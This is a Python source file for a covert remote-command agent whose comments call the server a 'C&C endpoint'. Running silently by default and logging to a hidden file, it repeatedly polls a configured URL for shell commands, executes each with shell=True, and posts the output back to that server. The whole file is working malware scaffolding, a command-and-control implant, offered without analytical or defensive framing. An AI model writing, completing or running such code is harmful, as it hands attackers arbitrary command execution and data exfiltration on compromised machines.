import requests import time import os import json import socket import subprocess import signal import sys # Configuration settings OUTPUT_ENABLED = False # Toggle all prints PROMPT_ENABLED = False # Toggle initial prompt LOG_FILE = ".hidden_log" # Hidden log file VERBOSE = True # Toggle detailed output # Default configuration values DEFAULT_CONFIG = { "id": "00000", # Replace with your default ID "url": "", # Replace with your C&C endpoint "ping_interval": 0.5, # Default time between ping checks "ping_ip": None } CONFIG_FILE = "config.json" stop_flag = False def log_message(message): with open(LOG_FILE, 'a') as log_file: log_file.write(f"{time.strftime('%Y-%m-%d %H:%M:%S')} - {message}\n") def print_message(message): if OUTPUT_ENABLED: print(message) log_message(message) def load_config(): if os.path.exists(CONFIG_FILE): with open(CONFIG_FILE, 'r') as file: return json.load(file) return DEFAULT_CONFIG def save_config(config): with open(CONFIG_FILE, 'w') as file: json.dump(config, file, indent=4) def pull_commands(url, device_id): while True: try: response = requests.get(f"{url}?mode=pull&id={device_id}") response.raise_for_status() return response.json() except requests.exceptions.RequestException as e: print_message(f"Failed to pull commands: {e}. Retrying in 5 seconds...") time.sleep(5) def execute_command(command): try: result = subprocess.run(command, shell=True, capture_output=True, text=True) if VERBOSE: print_message(f"Command output: {result.stdout}") return result.returncode == 0, result.stdout except Exception as e: print_message(f"Error executing command: {e}") return False, str(e) def send_feedback(url, device_id, command, success=True, output=""): feedback_mode = "feedback_success" if success else "feedback_failure" try: requests.post(f"{url}?mode={feedback_mode}&id={device_id}", data={"command": command, "output": output}) except requests.exceptions.RequestException as e: print_message(f"Failed to send feedback: {e}") def ping_server(url, ip): try: response = requests.get(f"{url}?mode=ping&ip={ip}") response.raise_for_status() return response.json() except requests.exceptions.RequestException as e: print_message(f"Failed to ping server: {e}") return {} def get_local_ip(): hostname = socket.gethostname() return socket.gethostbyname(hostname) def check_and_execute(config): global stop_flag while not stop_flag: try: # Pull new commands commands = pull_commands(config['url'], config['id']) for command in commands: success, output = execute_command(command) send_feedback(config['url'], config['id'], command, success, output) # Check for ping ping_data = ping_server(config['url'], config['ping_ip']) if ping_data.get("ping"): time_taken = ping_data.get("last_ping") print_message(f"Ping received. Time taken: {time_taken} seconds.") except Exception as e: print_message(f"Error: {e}") time.sleep(config['ping_interval']) def configure_settings(): config = load_config() print_message("Current Configuration:") print_message(json.dumps(config, indent=4)) config['id'] = input(f"Enter device ID (current: {config['id']}): ") or config['id'] config['url'] = input(f"Enter server URL (current: {config['url']}): ") or config['url'] config['ping_interval'] = float(input(f"Enter ping interval (seconds) (current: {config['ping_interval']}): ") or config['ping_interval']) config['ping_ip'] = input(f"Enter ping IP address (current: {config['ping_ip']}): ") or config['ping_ip'] or get_local_ip() save_config(config) print_message("Configuration saved successfully.") def signal_handler(sig, frame): global stop_flag print_message("Gracefully shutting down...") stop_flag = True def main(): signal.signal(signal.SIGINT, signal_handler) if PROMPT_ENABLED: print_message("Options:") print_message("1. Start Command Execution") print_message("2. Configure Settings") print_message("3. Exit") choice = input("Choose an option: ") if choice == "1": config = load_config() check_and_execute(config) elif choice == "2": configure_settings() elif choice == "3": print_message("Exiting...") else: print_message("Invalid choice. Try again.") else: config = load_config() check_and_execute(config) if __name__ == "__main__": main()